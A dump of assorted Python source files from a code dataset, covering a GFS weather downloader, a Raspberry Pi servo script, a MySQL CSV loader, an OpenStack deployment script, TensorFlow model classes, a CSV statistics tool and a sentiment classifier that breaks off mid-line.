elif opt in ('-e','--end'):\n            endDate = arg\n        elif opt in ('-s','--shapefile'):\n            pathToShapefile = arg\n        elif opt in ('-E','--tr'):\n            extend = arg.split(',')\n        elif opt in ('-g','--grid'):\n            grid = arg\n        elif opt in ('-p','--step'):\n            step = arg.split(',')\n        elif opt in ('-P','--proxy'):\n            proxy = arg\n        elif opt in ('-m','--mode'):\n            mode = arg\n        elif opt in ('-l','--level'):\n            levelList = arg.split(',')\n    \n    if len(sys.argv) < 8:\n        print('GFSDownload.py')\n        print('    -c <GFSCode> -list possible-')\n        print('    -i <dateStart YYYY-MM-DD> ')\n        print('    -e <dateEnd YY-MM-DD>')\n        print('    -s <shapefile> ')\n        print('  or')\n        print('    -E < xmin,ymax,xmax,ymin>]')\n        print('')\n        print('    [-g <size of grid in 0.25/0.5/1/2.5> (default 0.25)]')\n        print('    [-p <GFS step parameter in 0,6,12,18> default 0,6,12,18] -list possible-')\n        print('    [-o <outfolder> (default /home/user/GFS)]')\n        print('    [-P <proxy> (default False)]')\n        print('    [-l <level> (default 2_m_above_ground)]')\n        print('    [-m <mode> (default analyse)]')\n        print('')\n        print('For help on paramCode -help')\n        sys.exit(2)\n        \n    try:\n        oFolder\n    except NameError:\n        oFolder = os.path.expanduser('~')\n        oFolder = oFolder + '/GFS'\n        print(\"output folder not precised : downloaded GFF images on \"+oFolder)\n    \n    # verification du folder/or creation if not exists\n    utils.checkForFolder(oFolder) \n    \n    try:\n        codeGFS\n    except NameError:\n        exit ('parameter(s) needed not precise. Please give the GFS parameter you wish')\n    utils.checkForParams(codeGFS)\n    \n    \n    try:\n        startDate\n    except NameError:\n        exit ('init Date not precised')\n    # verification si sartDate est une date\n    startDate=utils.checkForDate(startDate) \n    \n    try:\n        endDate\n    except NameError:\n        exit ('end Date not specified')\n    # verification si sartDate est une date\n    endDate=utils.checkForDate(endDate) \n    \n    try:\n        pathToShapefile\n    except NameError:\n        try:\n            extend\n        except NameError:\n            exit ('no Area of interest have been specified. please use -shp or -tr to declare it')\n    \n    if 'pathToShapefile' in locals():\n        extendArea=utils.convertShpToExtend(pathToShapefile)\n    else:\n        extendArea=extend\n    extendArea=utils.checkForExtendValidity(extendArea)\n    \n    try:\n        levelList\n    except NameError:\n        levelList=['surface']\n    levelList=utils.checkForLevelValidity(levelList)\n    \n    try:\n        grid\n    except NameError:\n        grid='0.25'\n    grid=utils.checkForGridValidity(grid)\n        \n    try:\n        step\n    except NameError:\n        step=[0,6,12,18]\n    step=utils.checkForStepValidity(step)\n        \n    try:\n        proxy\n    except NameError:\n        proxy=False\n        \n    try:\n        mode\n    except NameError:\n        mode='analyse'\n    \n    #Proxy parameteres needed\n    if(proxy):\n        login = input('login proxy : ')\n        pwd = input('password proxy :  : ')\n        site = input('site (surf.cnes.fr) : ')\n        os.environ[\"http_proxy\"] = \"http://%s:%s@%s:8050\"%(login,pwd,site)\n        os.environ[\"https_proxy\"] = \"http://%s:%s@%s:8050\"%(login,pwd,site)\n        \n    \n    #Download GFS\n    struct=utils.create_request_gfs(startDate, endDate, step, levelList, grid, extendArea, codeGFS, mode)    \n    listeFile=[]\n    \n    if len(struct)==0:\n        exit(\"No data founded\")\n    else:\n        for i in struct[0]:\n            try :\n                outpath=oFolder+'/'+\",\".join(codeGFS)+'_'+i.rsplit('.',1)[1]+'.grb'\n                listeFile.append(outpath)\n                result=utils.GFSDownload(i,outpath)\n            except:\n                print(\"---\")\n                exit('Error in GFS server')\n        \n        if result:\n            utils.convertGribToTiff(listeFile,codeGFS,levelList,step,grid,startDate,endDate,oFolder)\n        else:\n            exit(\"PARAM needed is not compatible with level selected\")\n    \n    if struct[1] is not None:\n        print (\"\")\n        print (\"--------------------------------------------------\")\n        print (\"\")\n        print((\"Some parameters couldn't been downloaded in %s mode :\" % mode ))\n        print((\"They have been downloaded in %s mode due to var %s\" % (struct[1],','.join(struct[2])) ))\n    \n    #\n    #utils.convertNETCDFtoTIF(outNETCDFFile, oFolder+'/tmp.tif')\n    #shape=utils.getShape(outNETCDFFile)\n    #if ('pathToShapefile' in locals()):\n    #    utils.reprojRaster(oFolder+'/tmp.tif',outNETCDFFile.rsplit('.')[0]+'.tif',shape,pathToShapefile)\n    #else:\n    #    utils.reprojRaster(oFolder+'/tmp.tif',outNETCDFFile.rsplit('.')[0]+'.tif',shape)\n    #\n    #os.remove(oFolder+'/tmp.tif')\n    #os.remove(outNETCDFFile)\n    \nif __name__ == '__main__':\n    main(sys.argv[1:])\n    pass","sub_path":"python/GFSDownload.py","file_name":"GFSDownload.py","file_ext":"py","file_size_in_byte":8123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"225229065","text":"\"\"\"\nThe task for this problem is to find how many filled circles do you see\non the page.\n\"\"\"\nimport argparse\nimport logging\nfrom lxml import html\nimport requests\n\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef parse_args(): # pragma: no cover\n    \"\"\"\n    Parse the command line args and options.\n\n    :returns: Arguments and options.\n    :rtype: :class:`argparse.Namespace`\n    \"\"\"\n    parser = argparse.ArgumentParser(\n        description=\"Solve Data Processors Recruitment online problems\",\n    )\n\n    parser.add_argument(\n        \"source\",\n        metavar=\"URL\",\n        help=\"Source to parse.\",\n    )\n\n    parser.add_argument(\n        \"--ref\",\n        metavar=\"REFERENCE\",\n        required=True,\n        help=\"Job reference number\",\n    )\n\n    return parser.parse_args()\n\n\ndef parse_html(url_filename):\n    \"\"\"\n    Parse the HTML from URL or filename provided and returns the root\n    html element.\n\n    :param url_filename: Source being parsed.\n    :type url_filename: :class:`str`\n    :returns: The root element of the DOM.\n    :rtype: :class:`lxml.html.HtmlElement`\n    \"\"\"\n    return html.parse(url_filename).getroot()\n\n\ndef count_filled_images(elem):\n    \"\"\"\n    Count how many image tags with a source of `filled0.gif` are found.\n\n    :param elem: Element to iterate over for images with `filled0.gif` sources.\n    :type elem: :class:`lxml.html.HtmlElement`\n    :retuns: The count of found images.\n    :rtype: :class:`int`\n    \"\"\"\n    return int(elem.xpath(\"count(//p/img[@src='filledO.gif'])\"))\n\n\ndef solve_puzzle(url, ref):\n    \"\"\"\n    Fetch the puzzle and post the answer.\n\n    :param url: Puzzle URL\n    :type url: :class:`str`\n    :param ref: Job reference number\n    :type ref: :class:`str`\n    :returns: POST response.\n    :rtype: :class:`requests.Response`\n    \"\"\"\n    elem = parse_html(url)\n    total = count_filled_images(elem)\n    data = {\n        \"title\": \"submit\",\n        \"jobref\": ref,\n        \"valuee\": total,\n    }\n    response = requests.post(url, params=data)\n    return response\n\n\nif __name__ == \"__main__\": # pragma: no cover\n    logging.basicConfig(level=logging.INFO)\n    NS = parse_args()\n    resp = solve_puzzle(NS.source, NS.ref) # pylint: disable=invalid-name\n    LOGGER.info(\"Response code: %d\", resp.status_code)\n    LOGGER.info(\"Response: %s\", resp.text)\n","sub_path":"solve_puzzle.py","file_name":"solve_puzzle.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"548277904","text":"import RPi.GPIO as GPIO\nimport time\n\npin_servo = 12\n\ndef main():\n    GPIO.setmode(GPIO.BCM)\n    GPIO.setup(pin_servo, GPIO.OUT)\n    \n    pwm = GPIO.PWM(pin_servo, 50)\n    pwm.start(0)\n    \n    try:\n        while True:\n            for dc in range(0, 110, 5):\n                pwm.ChangeDutyCycle(dc/10)\n                time.sleep(0.05)             \n            for dc in range(110, 0, -5):\n                pwm.ChangeDutyCycle(dc/10)\n                time.sleep(0.05)        \n    except KeyboardInterrupt:\n        pwm.stop()\n        GPIO.cleanup()\n\nif __name__ == '__main__':\n    main()\n    exit(0)","sub_path":"Raspberry Pi GPIO/servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"179995150","text":"# coding=utf-8\r\npath = r'D:\\segmentation-kit-master\\segmentation-kit-master\\wav\\{}.txt'\r\nf = open(path.format('1-1'), 'r',encoding='utf-8')\r\nw = open(path.format('test'), 'w', encoding='utf-8')\r\n\r\nlines = f.readlines()[0].split('。')\r\nfor line in lines:\r\n    w.write(line)\r\n    w.write('\\n')\r\n# f = wave.open(path, 'rb')\r\n# params = f.getparams()\r\n# print(params)\r\n# nchannels, sampwidth, framerate, nframes = params[:4]\r\n# print('channel', nchannels)\r\n# print('sampwidth', sampwidth)\r\n# print('framerate', framerate)\r\n# print('nframes', nframes)","sub_path":"CrawlForvo/CrawlBible/Mp3ChangeToWav.py","file_name":"Mp3ChangeToWav.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"233107194","text":"# import the connector from the mysql module that we downloaded\nimport mysql.connector\nimport time\n\n# create a connection to the database()\ndb = mysql.connector.connect(\n    host='localhost',\n    user='root',\n    passwd='db202020',\n    database='winbeldon'\n)\ncursor = db.cursor()\n\n# CREATE TABLE players:\ncursor.execute(\n    \"CREATE TABLE countries\"\n    \"(country_name VARCHAR(45) NOT NULL,\"\n    \" country_code VARCHAR(5) NOT NULL,\"\n    \"PRIMARY KEY (country_code));\")\n\nprint('table was created successfully')\n\n# prepare sql statement\nSQL_INSERT_COUNTRIES = 'INSERT INTO countries VALUES (%s, %s)'\n\nplayers_file = open('countries.csv', 'r')\n\n# skip first line (should be columns names)\nplayers_file.readline()\n\nrows = players_file.readlines()\nrows_count = len(rows)\n\ni = 1\nstart = time.time()\nfor row in rows:\n    cols = row.split(',')\n    country_name = cols[0]\n    country_code = cols[1].strip()\n\n    # create tuple of values\n    values = (country_name, country_code)\n    cursor.execute(SQL_INSERT_COUNTRIES, values)\n\ndb.commit()\nend = time.time()\nprint(\"done uploading table to DB: %.0f sec\" % (end - start))\n","sub_path":"scripts/upload_table_countries.py","file_name":"upload_table_countries.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"19064860","text":"#!/usr/bin/env python\n#encoding=utf8\n\n\nimport os\nfrom os import path\nimport time\n\nimport openstack_clients as os_cli\n\n\n# FIXME(Fan Guiju): Using oslo_config and logging\nAUTH_URL = 'http://200.21.18.3:35357/v2.0/'\nUSERNAME = 'admin'\nPASSWORD = 'fanguiju'\nPROJECT_NAME = 'admin'\n\nDISK_FORMAT = 'qcow2'\nIMAGE_NAME = 'ubuntu_server_1404_x64'\nIMAGE_PATH = path.join(path.curdir, 'images',\n                       '.'.join([IMAGE_NAME, DISK_FORMAT]))\n\nMIN_DISK_SIZE_GB = 20\n\nKEYPAIR_NAME = 'jmilkfan-keypair'\nKEYPAIT_PUB_PATH = '/home/stack/.ssh/id_rsa.pub'\n\nDB_NAME = 'blog'\nDB_USER = 'wordpress'\nDB_PASS = 'fanguiju'\nDB_BACKUP_SIZE = 5\nDB_VOL_NAME = 'mysql-volume'\nDB_INSTANCE_NAME = 'AUTO-DEP-DB'\nMOUNT_POINT = '/dev/vdb'\n\nBLOG_INSTANCE_NAME = 'AUTO-DEP-BLOG'\n\nTIMEOUT = 60\n\n\nclass AutoDep(object):\n    def __init__(self, auth_url, username, password, tenant_name):\n        openstack_clients = os_cli.OpenstackClients(\n            auth_url,\n            username,\n            password,\n            tenant_name)\n        # FIXME(Fan Guiju): Using self._glance & self._nova & self._cinder\n        self._glance = openstack_clients.get_glance_client()\n        self._nova = openstack_clients.get_nova_client()\n        self._cinder = openstack_clients.get_cinder_client()\n\n    def _wait_for_done(self, objs, target_obj_name):\n        \"\"\"Wait for action done.\"\"\"\n        count = 0\n        while count <= TIMEOUT:\n            for obj in objs.list():\n                if obj.name == target_obj_name:\n                    return\n            time.sleep(3)\n            count += 3\n        raise\n\n    def upload_image_to_glance(self):\n        images = self._glance.images.list()\n        for image in images:\n            if image.name == IMAGE_NAME:\n                return image\n        new_image = self._glance.images.create(name=IMAGE_NAME,\n                                               disk_format=DISK_FORMAT,\n                                               container_format='bare',\n                                               min_disk=MIN_DISK_SIZE_GB,\n                                               visibility='public')\n        # Open image file with read+binary.\n        self._glance.images.upload(new_image.id, open(IMAGE_PATH, 'rb'))\n        self._wait_for_done(objs=self._glance.images,\n                            target_obj_name=IMAGE_NAME)\n        image = self._glance.images.get(new_image.id)\n        return image\n\n    def create_volume(self):\n        volumes = self._cinder.volumes.list()\n        for volume in volumes:\n            if volume.name == DB_VOL_NAME:\n                return volume\n        # cinderclient.v2.volumes:VolumeManager\n        new_volume = self._cinder.volumes.create(\n            size=DB_BACKUP_SIZE,\n            name=DB_VOL_NAME,\n            volume_type='lvmdriver-1',\n            availability_zone='nova',\n            description='backup volume of mysql server.')\n        if new_volume:\n            return new_volume\n        else:\n            raise\n\n    def get_flavor_id(self):\n        flavors = self._nova.flavors.list()\n        for flavor in flavors:\n            if flavor.disk == MIN_DISK_SIZE_GB:\n                return flavor.id\n\n    def _get_ssh_pub_key(self):\n        if not path.exists(KEYPAIT_PUB_PATH):\n            raise\n        return open(KEYPAIT_PUB_PATH, 'rb').read()\n\n    def import_keypair_to_nova(self):\n        keypairs = self._nova.keypairs.list()\n        for keypair in keypairs:\n            if keypair.name == KEYPAIR_NAME:\n                return None\n        keypair_pub = self._get_ssh_pub_key()\n        self._nova.keypairs.create(KEYPAIR_NAME, public_key=keypair_pub)\n\n    def nova_boot(self, image, volume):\n        flavor_id = self.get_flavor_id()\n        self.import_keypair_to_nova()\n        db_instance = False\n\n        servers = self._nova.servers.list()\n        server_names = []\n        for server in servers:\n            server_names.append(server.name)\n            if server.name == DB_INSTANCE_NAME:\n                db_instance = server\n\n        if not db_instance:\n            # Create the mysql server\n            db_script_path = path.join(path.curdir, 'scripts/db_server.txt')\n            db_script = open(db_script_path, 'r').read()\n            db_script = db_script.format(DB_NAME, DB_USER, DB_PASS)\n            # FIXME(Fan Guiju): Using instance_uuid to check the action whether done.\n            db_instance = self._nova.servers.create(\n                # FIXME(Fan Guiju): Using the params `block_device_mapping` to attach the volume.\n                DB_INSTANCE_NAME,\n                image.id,\n                flavor_id,\n                key_name=KEYPAIR_NAME,\n                userdata=db_script)\n            if not self._nova.server.get(db_instance.id):\n                self._wait_for_done(objs=self._nova.servers,\n                                    target_obj_name=DB_INSTANCE_NAME)\n        # Attach the mysql-vol to mysql server, device type is `vd`.\n        self._cinder.volumes.attach(volume=volume,\n                                    instance_uuid=db_instance.id,\n                                    mountpoint=MOUNT_POINT)\n        time.sleep(5)\n\n        if BLOG_INSTANCE_NAME not in server_names:\n            # Create the wordpress blog server\n            # Nova-Network\n            db_instance_ip = self._nova.servers.\\\n                get(db_instance.id).networks['private'][0]\n            blog_script_path = path.join(path.curdir, 'scripts/blog_server.txt')\n            blog_script = open(blog_script_path, 'r').read()\n            blog_script = blog_script.format(DB_NAME,\n                                             DB_USER,\n                                             DB_PASS,\n                                             db_instance_ip)\n            self._nova.servers.create(BLOG_INSTANCE_NAME,\n                                      image.id,\n                                      flavor_id,\n                                      key_name=KEYPAIR_NAME,\n                                      userdata=blog_script)\n            self._wait_for_done(objs=self._nova.servers,\n                                target_obj_name=BLOG_INSTANCE_NAME)\n\n        servers = self._nova.servers.list(search_opts={'all_tenants': True})\n        return servers\n\n\ndef main():\n    \"\"\"FIXME(Fan Guiju): Operation manual.\"\"\"\n    os.environ['LANG'] = 'en_US.UTF8'\n\n    deploy = AutoDep(auth_url=AUTH_URL,\n                     username=USERNAME,\n                     password=PASSWORD,\n                     tenant_name=PROJECT_NAME)\n    image = deploy.upload_image_to_glance()\n    volume = deploy.create_volume()\n    deploy.nova_boot(image, volume)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"auto_dep.py","file_name":"auto_dep.py","file_ext":"py","file_size_in_byte":6641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"102766567","text":"import cv2\nimport numpy as np\nimg = cv2.imread('image/klopp.jpg')\ngray= cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\nsift = cv2.xfeatures2d.SIFT_create()\nkp = sift.detect(gray,None)\n# img=cv2.drawKeypoints(gray,kp,img)\n# cv2.imwrite('image/klopp.jpg,img)\nimg=cv2.drawKeypoints(gray,kp,img,flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n# cv2.imwrite('image/klopp.jpgg',img)\n# sift = cv2.xfeatures2d.SIFT_create()\n# kp, des = sift.detectAndCompute(gray,None)\ncv2.imshow('IMG', img)\ncv2.waitKey(0)\n#\n# # Create SURF object. You can specify params here or later.\n# # Here I set Hessian Threshold to 400\n# img = cv2.imread('image/klopp.jpg',0)\n# gray= cv2.cvtColor(img,cv2.COLOR_GRAY2BGR )\n# surf = cv2.xfeatures2d.SURF_create(400)\n# # Find keypoints and descriptors directly\n# # kp, des = surf.detectAndCompute(img,None)\n# # img=cv2.drawKeypoints(gray,kp,img)\n# # print (len(kp))\n# # print (surf.getHessianThreshold())\n#\n# surf.setHessianThreshold(2000)\n# # kp, des = surf.detectAndCompute(img,None)\n# #\n# #\n# # print (surf.getHessianThreshold())\n# # print (surf.descriptorSize())\n# # surf.extended = True\n# kp, des = surf.detectAndCompute(img, None)\n# print (len(kp))\n# for i in kp:\n#     print(i)\n# print (surf.descriptorSize())\n# print (des.shape)\n#\n# img2 = cv2.drawKeypoints(img,kp,None,(255,0,0),300)\n# # plt.imshow(img2),plt.show()\n# cv2.imshow('IMG', img2)\n# cv2.waitKey(0)\n","sub_path":"opencv/sift_opencv.py","file_name":"sift_opencv.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"92984831","text":"### \n### Author: Faye Bandet\n### Course: CSC 110\n### Description: This is a program that processes a CSV file and finds the average, min, or max or a specified column.\n###\ndef main():\n    csv_file = input('Enter CSV file name: \\n')\n    column = int(input('Enter column number: \\n'))\n    operation = input('Enter column operation: \\n')\n    csv_f = open(csv_file, 'r')\n    csv_data = []\n    for line in csv_f:\n        line = line.strip('\\n')\n        values = line.split(',')\n        csv_data.append(values)\n    list_csv_data = csv_data\n    list_csv_data = [[(float(j)) for j in i] for i in list_csv_data]\n    if operation == 'avg':\n        find_avg(list_csv_data, column)\n    elif operation == 'min':\n        find_min(list_csv_data, column)\n    elif operation == 'max':\n        find_max(list_csv_data, column)\n    else:\n        print('Error')\n\ndef find_avg(list_csv_data, column):\n### Finds the average from the data.\n    average_list = []\n    i = 0\n    for i in range(0, len(list_csv_data)):\n        number = list_csv_data[i][column - 1]\n        average_list.append(number)\n        i += 1\n    average = float(sum(average_list)/len(average_list))\n    print('The average for column', column, 'is:', average)\n\ndef find_min(list_csv_data, column):\n### Uses the min function to determine the minimum.\n    min_value = []\n    for i in range(0, len(list_csv_data)):\n        number = list_csv_data[i][column - 1]\n        min_value.append(number)\n        i += 1\n    minimum = float(min(min_value))\n    print('The minimum value in column', column, 'is:', minimum)\n    \ndef find_max(list_csv_data, column):\n### Uses the max function to determine the maximum.\n    max_value = []\n    for i in range(0, len(list_csv_data)):\n        number = list_csv_data[i][column - 1]\n        max_value.append(number)\n        i += 1\n    maximum = float(max(max_value))\n    print('The maximum value in column', column, 'is:', maximum)\nmain()","sub_path":"csv_processor.py","file_name":"csv_processor.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"327770905","text":"import os, sys, time, threading, abc\nimport numpy as np\nimport tensorflow as tf\nfrom tensorboard import main as tb\n\nimport sys, os\nparent_folder_path = os.path.dirname(os.path.dirname( os.path.dirname( os.path.dirname( os.path.abspath(__file__)))))\nsys.path.append(parent_folder_path)\nfrom src.common.tools import now, get_filepath, AttrDict\n\n\nclass BaseModel(AttrDict):\n    def __init__(self, scope, config):\n        AttrDict.__init__(self,config)\n        self.scope = scope\n        self.session = tf.Session()\n        self.ckpt_path = parent_folder_path+\"/src/tf_module/results/checkpoints/\"+ self.scope\n        self.freeze_path = parent_folder_path+\"/src/tf_module//results/frozenmodels/\"+self.scope\n        if self.re_train:\n            self.rm_recursive(self.ckpt_path)\n            self.rm_recursive(self.freeze_path)\n        self.get_saver()\n        self.get_tensors()\n\n\n    def get_saver(self):\n        run = False\n        if not os.path.exists(self.ckpt_path):\n            run = True\n        elif len(os.listdir(self.ckpt_path)) < 4:\n            run = True\n        if run: \n            self.init_placeholders()\n            self.build_model()\n            self.session.run(tf.global_variables_initializer())\n            t_vars = tf.trainable_variables()\n            if t_vars != []:\n                t_vars = tf.trainable_variables()\n                scope_vars = [var for var in t_vars if self.scope in var.name]\n                self.saver = tf.train.Saver(var_list=scope_vars,keep_checkpoint_every_n_hours=self.checkpoint_interval)\n                print(\"Saver obtained!\")\n            else:\n                print(\"Init Error: No variables detected!\")\n        else:\n            self.restore_ckpt(ckpt_indx=-1)\n\n    def get_tensors(self):\n        graph = self.session.graph\n        for node in self.default_node_names.keys():\n            if node == \"optimizer\":\n                setattr(self,node,graph.get_operation_by_name(self.default_node_names[node]))\n            else:\n                setattr(self,node,graph.get_tensor_by_name(self.default_node_names[node]+':0'))\n     \n\n    def freeze_model(self,node_names=[]):        \n        if not os.path.exists(self.freeze_path):\n            os.makedirs(self.freeze_path)\n        file_name =  self.scope +\"_\"+now()+\".pb\"\n        output_graph = self.freeze_path +\"/\"+file_name\n\n        if node_names==[]:\n            node_names = list(self.default_node_names.values())\n        output_graph_def = tf.graph_util.convert_variables_to_constants(\n            self.session,\n           self.session.graph_def, \n            node_names\n        ) \n\n        with tf.gfile.GFile(output_graph, \"wb\") as f:\n            f.write(output_graph_def.SerializeToString())\n        print(\"Freeze successful!\")\n        print(\"%d ops in the final graph.\" % len(output_graph_def.node))\n        print(\"Saved at: \",output_graph)\n\n\n    def restore_ckpt(self, ckpt_indx = -1):\n        if os.path.exists(self.ckpt_path):\n            file_path = get_filepath(dir_= self.ckpt_path,indx=ckpt_indx,filterby=\"meta\")\n            self.saver = tf.train.import_meta_graph(file_path)\n            self.session.run(tf.global_variables_initializer())\n            self.saver.restore(self.session,file_path.replace(\".meta\",\"\"))\n            print(\"Restored: \", file_path)\n        else:\n            print(\"Restore Error: No checkpoints available!\")\n\n    def get_vars(self,session=None):\n        t_vars = tf.trainable_variables()\n        scope_vars = [var for var in t_vars if self.scope in var.name]\n        if session != None:\n            out = session.run(scope_vars)\n            return out \n        else:\n            return scope_vars\n\n    def assign_vars(self, old_vars):\n        t_vars = tf.trainable_variables()\n        scope_vars = [var for var in t_vars if self.scope in var.name]\n        assign_vars = []\n        i = 0\n        for var in scope_vars:\n            assign_vars.append(tf.assign(var,old_vars[i]))\n            i+=1\n\n        self.session.run(assign_vars)\n\n    def save_ckpt(self, name=None):        \n        if not os.path.exists(self.ckpt_path):\n            os.makedirs(self.ckpt_path)\n        if name is None:\n            file_name = self.scope +\"_\"+ now()\n        else:\n            file_name = self.scope +\"_\"+ name\n        self.saver.save(self.session, self.ckpt_path+\"/\"+file_name)\n\n    def get_summary_writer(self):\n        dirPath = './logs/'+self.scope\n        self.rm_recursive(dirPath)\n        writer = tf.summary.FileWriter(dirPath, self.session.graph)\n        time.sleep(0.5)\n        self.launch_tensorboard()\n        return writer\n\n    def launch_tensorboard(self):\n        tf.flags.FLAGS.logdir = './logs/'+self.scope\n        t = threading.Thread(target=tb.main, args=([]))\n        t.start()\n\n    def softmax_mod(self,x,axis=1,name=None):\n        max_x = tf.reduce_max(x,axis, keep_dims=True)\n        x = tf.subtract(x, max_x)\n        x = tf.exp(x)\n        norm = tf.reduce_sum(x,axis, keep_dims=True)\n        x = tf.div(x,norm, name=name)\n        return x\n\n    def elu_mod(self, x, name=None):\n        return tf.nn.elu(x,name=name)+1.+1e-8\n\n    def rm_recursive(self,dirPath):\n        if os.path.exists(dirPath):\n            fileList = os.listdir(dirPath)\n            for fileName in fileList:\n                os.remove(dirPath+\"/\"+fileName)\n\n    @abc.abstractclassmethod\n    def predict(self):\n        raise NotImplementedError(\"Must be implemented in subclass\")\n\n    @abc.abstractclassmethod\n    def update(self):\n        raise NotImplementedError(\"Must be implemented in subclass\")\n\n    @abc.abstractclassmethod\n    def test(self):\n        raise NotImplementedError(\"Must be implemented in subclass\")\n\n    @abc.abstractclassmethod\n    def init_placeholders(self):\n        raise NotImplementedError(\"Must be implemented in subclass\")\n        \n    @abc.abstractclassmethod\n    def build_model(self):\n        raise NotImplementedError(\"Must be implemented in subclass\")\n\n\nclass ClassifierModel(BaseModel):\n    def __init__(self, scope, config):\n        BaseModel.__init__(self,scope,config)\n    \n    def init_placeholders(self):\n        with tf.variable_scope(\"placeholders\"):\n            self.inputs = tf.placeholder(tf.float32, [None, self.seq_len, self.n_channels], name = 'inputs_ph')\n            self.labels = tf.placeholder(tf.float32, [None, self.n_classes], name = 'labels_ph')\n            self.keep_prob = tf.placeholder(tf.float32, name = 'keep_prob_ph')\n            if hasattr(self,\"lstm_units\"):\n                self.state_c_in = tf.placeholder(tf.float64, shape = [self.batch_size, self.lstm_units], name = \"c_in\")\n                self.state_h_in = tf.placeholder(tf.float64, shape = [self.batch_size, self.lstm_units], name = \"h_in\")\n\n    def predict(self,x,lstm_state=None):\n        if lstm_state==None:\n            output = self.session.run(self.predict_op, feed_dict ={self.inputs: x,self.keep_prob: 1})\n            return output\n        else:\n            output, state_out = self.session.run([self.test_output, self.test_state_out], feed_dict ={self.inputs: x,\n                                                                                             self.state_c_in: lstm_state[0],\n                                                                                             self.state_h_in: lstm_state[1],\n                                                                                             self.keep_prob: 1})\n            return output, state_out\n    \n    def update(self,x_train,y_train,keep_prob=0.5,lstm_state=None):\n        if lstm_state==None:\n            _, summary=  self.session.run([self.optimizer, self.summary_train], feed_dict={self.inputs: x_train, \n                                                                                    self.labels: y_train, \n                                                                                    self.keep_prob: keep_prob})                                                       \n            return summary\n        else:\n            _, summary, state_out = self.session.run([self.optimizer, self.summary_train, self.train_state_out], \n                                                feed_dict={self.inputs: x_train, \n                                                            self.labels: y_train,\n                                                            self.state_c_in: lstm_state[0],\n                                                            self.state_h_in: lstm_state[1], \n                                                            self.keep_prob: keep_prob})                                                       \n            return summary, state_out\n\n    def test(self,x_test,y_test):\n        summary = self.session.run(self.summary_test,feed_dict={self.inputs: x_test,\n                                                           self.labels: y_test,\n                                                           self.keep_prob: 1})\n        return summary\n\n    \n\nclass RegressionModel(BaseModel):\n    def __init__(self, scope, config):\n        BaseModel.__init__(self,scope,config)\n\n    def predict(self,x):\n        output = self.session.run(self.predict_op, feed_dict ={self.inputs: x,self.keep_prob: 1})\n        return output\n    \n    def update(self,x_train,y_train,keep_prob=0.5):\n        _, summary=  self.session.run([self.optimizer, self.summary_train], feed_dict={self.inputs: x_train, \n                                                                                  self.labels: y_train, \n                                                                                  self.keep_prob: keep_prob})                                                       \n        return summary\n\n    def test(self,x_test,y_test):\n        summary = self.session.run(self.summary_test,feed_dict={self.inputs: x_test,\n                                                           self.labels: y_test,\n                                                           self.keep_prob: 1})\n        return summary","sub_path":"src/tf_module/models/BaseModel.py","file_name":"BaseModel.py","file_ext":"py","file_size_in_byte":9924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"186498436","text":"import json\nimport re\nimport nltk\nimport numpy as np\nfrom nltk.corpus import brown\nimport pandas as pd\nimport pickle\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nfrom sklearn.cross_validation import train_test_split\n\npstemmer = nltk.PorterStemmer()\n\nfilename = 'model/finalized_model.sav'\nrf_model = pickle.load(open(filename, 'rb'))\ndata_clusters = json.load(open('json_files/clusters.json'))\n\n\npstemmer = nltk.PorterStemmer()\n\ntrain_data_file_name = 'data_sample/train_data.csv'\n\n\ntrain_data_df = pd.read_csv(train_data_file_name, encoding = \"ISO-8859-13\")\ntrain_data_df.columns = [\"Text\",\"Sentiment\"]\n\n#print(train_data_df)\n# Stemming, tokenizing and vectorizing the features\nstemmer = pstemmer\ndef stem_tokens(tokens, stemmer):\n    stemmed = []\n    for item in tokens:\n        stemmed.append(stemmer.stem(item))\n    return stemmed\n\ndef tokenize(text):\n    # remove non letters\n    text = re.sub(\"[^a-zA-Z]\", \" \", text)\n    # tokenize\n    tokens = nltk.word_tokenize(text)\n    # stem\n    stems = stem_tokens(tokens, stemmer)\n    return stems\n\n# vectorizer = CountVectorizer(\n#     analyzer = 'word', # Assigning analyzer as word\n#     tokenizer = tokenize,\n#     lowercase = True, # Lowercasing the words\n#     stop_words = 'english', # For removing stop words from being considered as features\n#     ngram_range = (1,3), # Allowing unigrams, bigrams, and trigrams to be considered as features\n#     max_features = 50 # Using the top 1000 features\n# )\n\nvectorizer = TfidfVectorizer(\n    analyzer = 'word',\n    min_df=1,\n    tokenizer = tokenize,\n    lowercase = True,\n    stop_words = 'english',\n    ngram_range = (1,3),\n    max_features = 1000\n)\n\n\n# =============================================================================\n# \n# # Extracting the features from training data\ncorpus_data_features = vectorizer.fit_transform(train_data_df.Text.tolist())\n\n#print(corpus_data_features)\n# # Feature to array\ncorpus_data_features_nd = corpus_data_features.toarray()\n#print(corpus_data_features_nd.shape)\n# \n#print(\"yo\")\n#print(corpus_data_features_nd)\n\n# # Removing features with less than 3 characters\nvocab = vectorizer.get_feature_names()\nvocab = [word.lower() for word in vocab if len(word) > 2]\n#print(vocab)\n\n# =============================================================================\n\nX_train, X_dev, y_train, y_dev  = train_test_split(\n        corpus_data_features_nd, \n        train_data_df.Sentiment,\n        train_size=0.99, \n        random_state=1234)\n\nfor x 